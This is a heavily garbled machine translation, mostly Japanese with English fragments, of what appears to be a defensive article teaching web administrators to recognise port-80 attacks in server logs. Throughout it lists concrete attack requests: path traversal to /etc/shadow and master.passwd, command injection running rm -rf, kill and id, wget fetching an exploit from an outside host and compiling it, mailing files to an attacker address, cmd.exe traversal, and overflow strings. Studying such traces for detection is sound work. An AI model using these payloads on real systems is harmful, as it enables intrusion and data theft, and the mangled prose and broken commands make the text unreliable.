第1概要
2。の詳細な説明
3。さらに
4。スピルオーバー分析
Vのトランスコーディング
6。おわりに
[抄録]
さまざまなセキュリティの問題にデフォルトのサービスポートとしてのWeb siteは80、うちrelease ofそれを維持する、いくつかのこれらの脆弱性の攻撃をeven、システム管理者の許可をサイトに自分自身enter to取得できるよう、次のZenomorphポートですいくつかのトレースの上に80 attacks研究では、どのようにログレコードから問題を発見する方法を教えてください。
[詳細]
一般的な攻撃上のWebサーバーアプリケーションのリー紫の数から次のセクションでは、その表示、その他の商標はリー紫ジンジンが残した大規模な攻撃を表し、そこに攻撃のすべてのフォームのリストがない、この部分がそれぞれの攻撃の役割の詳細については、その方法これらの脆弱性を攻撃する悪用する。
(1)""".."と"..."要求
これらの攻撃の痕跡は非常に攻撃者がやワームウイルス対策プログラム、Webサーバーのパスを変更するには、閉じた領域にアクセスできるように使用されるWebアプリケーションとWebサーバーの一般的です。これらの欠陥のほとんどのCGIプログラムは、".."要求。
例:
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
これは、攻撃者が列子の要求をこのファイルをmosd、攻撃者が能力画期的なWebサーバーのルートディレクトリ、次により多くの情報を取得する場合、さらに権限を取得する方法を示します。
(2)"%20"要求
%は20進数の値この場合は、何かを使用できますが、ときにそれを見つけることがログを表示するわけではないが、16スペースは、いくつかのWebサーバのアプリケーションは、この文字に効果的に実装することが実行されてしたがって、慎重にログを確認してください。一方、要求があるいくつかのコマンドを実行することができます。
例:
http://host/cgi-bin/lame.cgi?page=lsは20%、アル|を
これは列子は、要求されたドキュメントのすべてのカタログを一覧表示UNIXコマンドを実行する、システム上の重要なファイルにアクセスする攻撃者が発生し、さらに、権限獲得のための条件を提供するため、彼を助けるために、攻撃者を示します。
(3)"%00"要求
%は00 16バイトの16進数の空と、彼はWebアプリケーションを欺くことに成功したとのファイルの種類を要求します。
例:
http://host/cgi-bin/lame.cgi?page=index.html
成功した攻撃者がこの要求を認識している場合、このマシンに有効な要求、かもしれないが、彼はさらにcgiの手順を探します。
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
それは要求などのファイル名の接尾辞、:ファイルのhtml.shtmlまたは他の種類のチェックすることですので、おそらくcgiプログラムは、この要求を受け入れるされません。 、この時間はなので、攻撃者は、名前をファイルで、結果としてシステムのパスをgetすることができますattackerの要求をファイルファイルの種類の接尾辞of文字であるmust tellれますMostプログラムは、あなたにrequestedファイルの種類を教えてくれますinvalidですお使いのシステムの詳細機密情報を
http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%の00html
この要求への注意が、それはこの文書は有効なファイルタイプを決定することですcgiプログラムをカンニングする、commonly攻撃の方法が使用されます愚かな要求のファイルとして効果的な検査のいくつかのアプリケーション。
(4)"|"要求
これは、パイプ文字、UNIXシステムと同時に、いくつかのシステムコマンドの実装では助けを要求しています。
例:
#猫|はgrep - iのaccess_log".."
(このコマンドは、".."の要求は、一般的な攻撃やワームで使用されるログが表示されます)が見つかりました
多くの場合、多くのWebアプリケーションは、この文字を使用して見つけるには、これはまた、IDSの誤警報をリードログ。
アプリケーションの慎重な検討ので、侵入検知システムの誤警報を減らす利点がします。
ここにいくつかLieh -シーズーのとおりである:
http://host/cgi-bin/lame.cgi?page=../../../../bin/lsは表示|
この要求のコマンドは、次の列子のいくつかの変更が
http://host/cgi-bin/lame.cgi?page=../../../../bin/lsは20%、アル%を20/etc |
この要求は、UNIXシステムのすべてのファイルの/ etcディレクトリに記載されて
http://host/cgi-bin/lame.cgi?page=cat%20access_log | grepの20%- iの20%"ラメ"
catコマンドの実行要求とgrepコマンドの実装はまた、""ラメをチェックアウトします
(5)";"要求
Unixのシステムでは、この文字は複数のコマンドラインを実行することができます
例:
#イド;は、uname -
(実装idコマンドは、unameコマンドの実装で続く)
あなたは、IDSのアラートの失敗のリスクを軽減するため、この文字で一部のWebプログラムは、あなたのIDSの可能性があります失敗の警告をログに記録すると、慎重に、ウェブのプログラムを確認してください。
(6)" "と" "要求
もしあなたの記録の2つの文字を、いくつかの理由ログをチェックし、最初の1つは、文字がその文書の追加データ
例1:
エコーは、"あなたのH0がH0がhax0red#" の/ etc /(motdを要求このドキュメントの情報を書いてmotdに)
攻撃者が簡単にWebページの改ざん上記のように要求を使用できます。有名なRDSは、攻撃者が悪用のようなよくWebページを変更するために使用されます。
例2:
http://host/something.php=Hi%20mom%20Im%20Bold!
HTMLの場合は、標識の言語は、ここで彼はまた、システムにアクセスする攻撃者が発生しないこと" "," "の文字を、このような攻撃過ごしたことがわかります、この正規のWebサイトの情報(につながっていると思う人々を混乱人々はアドレスを設定する攻撃を参照してくださいこのリンクを参照してください、この要求は、16進数の文字にフォームにあるので、攻撃の痕跡は、それほど明白ではない)でエンコードされる可能性があります
(7)"!"要求
このリクエストの文字拡散(サーバー側インクルード)攻撃者は攻撃者がユーザーを混乱させるリンクセットクリックされたら私は、上記と同じ攻撃に共通の言語。
例:
http://host1/something.php =
Lieh -シーズー、攻撃者のサイトhost2のファイルにhost1からそれを行う可能性がある上に(もちろん表示され、訪問者は、攻撃者の接続設定を訪問する必要があります。この要求は、変換される可能性があります16進エンコードマスク、簡単に見つかりません)
同時に、このアプローチは、コマンドの権限のWebサイトを実行することができます
例:
http://host/something.php =
Lieh、リモートシステム上では"id"コマンドを実行すると、それは、WebサイトのユーザーのIDが表示されます通常"は誰"または"www"の
このフォームは、隠しファイルが含まれてことができます。
例:
http://host/something.php =
隠しファイル。htpasswdは表示されません、Apacheは。ヘマトクリットにリクエストフォームなどのルールを確立し、SSIのロゴなどの制限をバイパスする、拒否され、セキュリティ上の問題につながる
(8)"、"請求
このような攻撃は、リモートinsert PHPのWebアプリケーションの手続きをしようとするには、、サーバーの設定によっては、仕事で他の要因(ようなas PHPがセーフモード)に設定さexecutionのorderせることができるused
例:http://host/something.php =パススルー("idは");?
いくつかの単純なPHPアプリケーションでは、それがリモートシステムのユーザrightsローカルコマンドを実行to上のサイトをウェブになるmay
(9)"`"を要求
この文字は、後でperlのコマンドを実行するために使用、Webアプリケーション内の文字が頻繁に使われていないので、あなたのログに、それを見れば、非常に慎重にすべきである
例:
http://host/something.cgi =の`id`
を書く問題のperlのcgiプログラムidコマンドの実装につながる
[さらに]
次のセクションでは、コマンドを実行することがあります、一緒に書類を添えて、攻撃者の多くを説明しますあなたが缺陷のリモート実行コマンドをしている場合、どのようにJianchaはそれを見つける必要があります。この部分はちょうど良いアイデアを与えることであり、あなたのシステムを何が起こって言うと、攻撃者は、システムのトレースを攻撃する、しかし、try allを攻撃ofコマンド、要求を使用するように表示されません。
"/ bin / lsの"
あなたは多くの場所でそのような要求にログオンする場合、多くのWebアプリケーションでこのコマンドは、要求がパス全体を、この抜け穴を持っていることが可能大規模なリモート実行コマンドの脆弱性に対するはなく、必ずしも問題があるまた、誤警報することがあります。もう一度、Webアプリケーションの記述(cgiやASP、PHPの...)などを思い出したのセキュリティの基礎は、
例:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/lsは20%、アル|を
http://host/cgi-bin/bad.cgi?doh=lsは20%、アルを。
"Cmd.exeを"
これはシェルの窓、攻撃者がaccessにする場合、このスクリプトを実行するサーバーの設定は、条件がWindowsマシンで何かをすることがありますすることです、ワームウイルスの多くは、80ポートを通じてリモートマシン場に拡大
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:
"/ビン/ id"の
は、多くの場所このような要求にログオンする場合これは2つのバイナリファイル、その問題点など/ lsの/ binに、、is、それは可能large remote executionのcommandの脆弱性for、が、必ずしもproblemですまた、誤警報することがあります。
それはどの部分に属しているが表示されますが、ユーザとグループ
例:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/id |
http://host/cgi-bin/bad.cgi?doh=id;
"/ビン/ rm"の
このコマンドは、正しい使用せずにファイルを削除することができます非常に危険である
例:
http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%が20高周波%* 20 |
http://host/cgi-bin/bad.cgi?doh=rm%20高周波%20 *;
"Wgetはとtftp"コマンド
これらのコマンドは、しばしば、攻撃者がさらに権限をファイルをダウンロードするを得る可能性がありますが、wgetの下でUNIXコマンド、バックドアをダウンロードするために使用される可能性がありますは、tftpコマンドはUNIXとNTの下で、ファイルをダウンロードするために使用されます。いくつかのIISのワームは、tftpで他のホストにウイルスをコピーするには自分自身を広げる
例:
http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%の20http:/ / host2/Phantasmp.c |はhttp://ホストは/ cgi - binに/ bad.cgi?プレイドゥ= wgetの%の20httpを:/ / www.hwa-security.net/Phantasmp.c;
"猫"コマンド
このコマンドは、ファイルの内容を、構成のfiles、パスワードファイル、信用のファイルやドキュメントなどのように考えるcan重要な情報をお読みused viewにused is
例としては、:http://host/cgi-bin/bad.cgi?doh=../../../../bin/catの%| http://host/cgi-bin/を20/etc/motd bad.cgi?プレイドゥ=猫の%は20/etc/motd;
"エコー"コマンド
このコマンドは、ファイルに、このような""index.htmlとしてデータを書き込むために使用
例としては、:20"のFC -#キウイ%20was%の20here"20% %をhttp://host/cgi-bin/bad.cgi?doh=../../../../bin/echo %の200day.txtの|は20"のFC -#キウイ%20was%の20here"20% %の200day.txt%をhttp://host/cgi-bin/bad.cgi?doh=echo;
"ps"のコマンド
リストは現在実行中のプロセスは、さらに権限を取得するために、攻撃者がリモートホストがためいくつかの安全のアイデアを得るためにソフトウェアを実行してください
例としては、:http://host/cgi-bin/bad.cgi?doh=../../../../bin/psは20%=オー|をhttp://host/cgi-bin/bad。 cgiの?プレイドゥ= psの20%=オー;
"Killとkillallを"コマンド
Unixのシステムの順序は、攻撃者は、システムサービスandプロセスを停止するalso攻撃者の痕跡を消すことができる、いくつかのは、子プロセスの多くを生産will悪用このコマンドを使用することができますこのプロセスをkillするin
例:http://host/cgi-bin/bad.cgi?doh=../bin/killの%20から9パーセント200 | http://host/cgi-bin/bad.cgi?doh=killの20% -9%200;
"Uname"コマンド
このコマンドは、しばらくの間、このWebサイトを順番を知るために攻撃者がリモートマシンの名前に指示するISPは、today訪問可能性がありますする攻撃。 uname - aを、通常、これらのログファイルに記録されます要求する
例:http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20 - | http://host/cgi-bin/bad。 cgiの?プレイドゥ= unameが20%、;
コマンドの"CCは、gccの、PerlやPython、等..."コンパイル/解釈
攻撃者は、wgetまたはtftpを介して悪用をダウンロードし、実行可能プログラムにこれをコンパイルするのcc、gccコンパイラを使用して、さらにアクセス権限
例としては、:http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c | http://host/cgi-bin/bad。 cgiの?プレイドゥ= gccを%20Phantasmp.c;。/ a.outの20%- pの%2031337;
あなたは、"perl"というのpython"これらの手順で、リモートのアタッカーPerlやPythonスクリプトをダウンロードすることがあります見つかりませんログを表示する場合と権限を得ることを試みた地域
"メール"コマンド
攻撃者はしばしば、このコマンドシステムを使用すると、攻撃者自身のメールボックスにいくつかの重要な文書だけでなく、電子喜んでは、電子メール爆弾攻撃が行われている
例:http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20 を%を20attacker@fuckcnhonker.org~~V
2.168.22.1;
"チョーンは、chgrpを、chshは、chmodは等..."と他のコマンド
Unixシステムのためにそれらのファイルアクセス許可を変更できるようにするに
chownは= chmodを=ファイルのパーミッションのchgrpのを=に設定することができますファイルの所有者を設定することができますchshは=ユーザのシェルを変更することファイルのグループのアクセス許可を変更する所有することができます
例:http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777% 20index.html | http://host/cgi-bin/ bad.cgi?プレイドゥ= chmodの%20777% 20index.html; http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%の20zeno%20 / etc / master.passwdの| http://host/cgi-bin/bad.cgi?doh=chsh%が20/bin/sh; http://host/cgi-bin/bad.cgi?doh=../します。 。/ .. / .. / binに/ chgrpの%の20nobody%の20/etc/shadowの|
"は/ etc /"passwdファイル
これは、システムのパスワードファイルは、通常、オフシャドウ参照してくださいパスワードを暗号化を許可しませんが、攻撃者は、これは有効なユーザーである知ることができる、絶対パス、サイト名やその他の情報システムは、通常はとして攻撃者は通常、表示されます影オフなので、が/ etc / shadowファイルを
"/ etc /"へのmaster.passwd
このファイルは、BSDシステムのパスワードファイルは、暗号化されたパスワードを含む、rootアカウント上のファイルのみ読み取り専用、andいくつか熟練攻撃者が彼の試みを内部の内容を読むにオープン。、ウェブサイトがされた場合root権限を実行する、攻撃者は、私たちが内側相次いでくるシステム管理者に多くの問題を内容を読むことができます
"/ etc / shadowを"
が含まれてパスワードを暗号化されたシステムでは、rootアカウント、および同じ読み取り/ら/は、ほとんどのmaster.passwd
"/ etc /"へなおさ
ユーザーがUNIXシステムにログインすると、そこに今日の"メッセージの情報は、"システムファイル、それは重要な情報と、ユーザーはいくつかの設定だの管理を提供し、それらは希望のユーザーが見ることであり、人ではなく、また、システムのバージョン情報が含まれて、攻撃者は通常、どのようなシステムは、attacker on runningであることを理解するこのファイルを参照してください次のステップは、このタイプのシステム、悪用for searchに、システムにさらにaccess privilegesです
"/ etc / hostsファイル"
文書は、IPアドレスとネットワークの情報を提供し、攻撃者はさらにネットワークの設定について学ぶことができます
"は/ usr / / confに/ httpd.confの/ apacheの"ローカル
これは、Apacheのウェブサーバーの構成ファイルは、攻撃者は、CGIの、SSIとその他の情報などの理解canアクセス可能である
"/ etc / inetd.confを"
このは、構成、リモートマシンを学ぶことができるinetdはサービスを、攻撃者はfile is、に対してアクセスのコントロールに、もしラッパーが、攻撃者は、次のステップ"/等/ hosts.allowにcheck will実行している"と発見されたラッパーをuseするthose servicesをstart "/ etc / hosts.denyに"は、ファイルおよびいくつかの設定、アクセス権限を変更することが
"htpasswdは、。htaccessを、と。Htgroup"
これらのファイルは、通常は、Webサイトのユーザー認証の、攻撃者は、これらのファイルを表示すると、ユーザー名とパスワードを取得する使用され、パスワードファイルをhtpasswdは、いくつかの簡単な復号化のプロセスを突破暗号化され、攻撃者はサイトにアクセスすることができます保護地域(通常は、同じユーザー名とパスワードを持つユーザーは、攻撃者も)他のアカウントを訪れることができます
"access_logおよびerror_logに"
これらは、Apacheサーバのログファイルは、攻撃者はしばしば、これらのファイルを、これらの要求を見て、記録されて表示これらのさまざまな場所のため、他の要求
通常、攻撃者は自分のアドレス情報など、これらのログファイルを変更します、あなたのシステムを介してポート80を介して攻撃し、バックアップシステムも動作しない場合は、他にない記録プログラム記録システムの状態で、これは希望侵入検知は非常に動作するように困難になる
"[ドライブ文字]:winntrepairsam._または[はドライブ文字]を:winntrepairsam"
攻撃者は、IF、管理者のパスワードのファイルを攻撃するとif Windows NTのsystemのパスワードファイルは、リモートcommand implementedことできない場合、攻撃者は通常、次に"クラックに、パスワードの種類のl0pht亀裂"をtoolsを割れ、これらのdocumentsをrequest will次に、リモートマシン攻撃される成功の制御を取得する
[オーバーフローの分析]
私はあまりにも多くのトピックの溢れんばかり言わないこの記事では、私が出giveなるものな現象と注目と特に懸念のは、バッファが多い攻撃コード変換とdifficult内容のその他を達成するため見つけることattacked isのtraces
ここでは単純リーは紫です
例:http://host/cgi-bin/helloworld?type=AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAA単
この列子は、アプリケーションに、バッファオーバーフローのプログラムをテストするための文字の多くを送信する攻撃を示し、バッファオーバーフローが、もし所有者がrootの手続きは、オーバーフローにより、リモートコマンドの実行ホストのアクセス許可を、setuidを得ることができます、setuidプログラムでない場合のようにシステム全体へのアクセスを得ることができるし、オーバーフローは、Webサイトのユーザー権利を実行している
ここではすべての状況を判断できないが、その日は突然多くの要求を発見した場合は、定期的にログファイルを確認すべきですが、通常はrequest以上、それはあなたはもちろんオーバーフロー攻撃するには、である場合もありますさらされて意味新しいネットワークワームの攻撃
[は]をトランス
すべての攻撃は、前述の要求は、攻撃者はIDSのシステムには、攻撃者は通常、バンドのツールJiangsuo容要求を変換符号化される16の下司に変換される、主要なIDSは、これらの要求をHulue、これらの要求の多い定期的に機械的な検査を知られている我々は、CGIの脆弱性良い列子ウィスカーのツールをスキャン精通している。あなたの時間のログを表示する場合いくつかの方法あなたのシステムを攻撃するためのuseに試みるかもしれない16バンドandありませんsome一般的な文字、次に攻撃者のlarge numberが見つかりました
すばやくは、ログ、16進の請求をする、あなたのブラウザにコピーして、ブラウザは、右の要求へと変換さすることができます要求の内容をdisplayed、であることはしない場合勇気は、正しいコードを提供することができます、このリスクを、単純な男のASCII取る。
[まとめの]
この資料ではbut攻撃のすべての80ポートカバーして、最もmore一般的な攻撃よりも引用されてしており、どのようyourログファイルを確認するように指示、、どのようなIDSのルールの数は、彼女のobjectiveをwriteとするis addするウェブのシステム管理者は、私はこの資料では、より良いプログラムを書くプログラムのWeb開発者がウェブに役立ちますしたいと思って良いアイデアと同時に心配する必要があります
電子メールadmin@cgisecurity.comを送信してください注:あなたは任意のコメントや提案がある場合は、。